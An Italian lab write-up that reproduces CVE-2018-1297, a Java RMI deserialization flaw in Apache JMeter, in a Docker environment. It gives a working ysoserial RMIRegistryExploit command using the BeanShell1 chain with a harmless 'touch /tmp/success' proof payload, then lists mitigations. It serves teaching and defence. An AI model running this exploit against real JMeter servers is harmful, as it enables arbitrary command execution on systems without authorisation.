Vulnerabilità di esecuzione comandi tramite deserializzazione RMI di JMeter (CVE-2018-1297)
Apache JMeter è un insieme di software open source scritto in Java dalla Apache Software Foundation (American Apache Software Foundation) per test di stress e prestazioni.
Le versioni 2.x e 3.x presentano una vulnerabilità di deserializzazione, che consente a un attaccante di eseguire comandi arbitrari sul server di destinazione sfruttando questa falla.
Esecuzione dell'ambiente di vulnerabilità:
Ho utilizzato Docker su Kali Linux.
Una volta completata l'esecuzione, il servizio RMI si avvia e ascolta sulla porta 1099.
Vulnerabilità:
Utilizzare direttamente ysoserial per sferrare l'attacco sfruttando la vulnerabilità.
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success’
Inserire il comando sopra indicato.
È stata utilizzata la chain di exploit BeanShell1.
docker compose exec jmeter bash
Usando questo comando per accedere al container, si nota che '/tmp/success' è stato creato con successo.

Riepilogo
Questa vulnerabilità sfrutta una falla RMI (Remote Method Invocation) che può verificarsi in applicazioni basate su Java.
Il file 'ysoserial-0.0.6-SNAPSHOT-all.jar' utilizzato qui fa parte del progetto ysoserial e viene impiegato per generare payload che consentono l'esecuzione di codice remoto sfruttando la vulnerabilità di deserializzazione Java.
Questo payload ha lo scopo di eseguire comandi come 'touch /tmp/success'; sfruttando questa vulnerabilità, un attaccante può eseguire comandi arbitrari sul sistema remoto o modificare file di sistema.
Le misure per contrastare questa vulnerabilità includono la restrizione dell'accesso al servizio RMI, un controllo dei permessi rigoroso e il filtraggio della deserializzazione Java.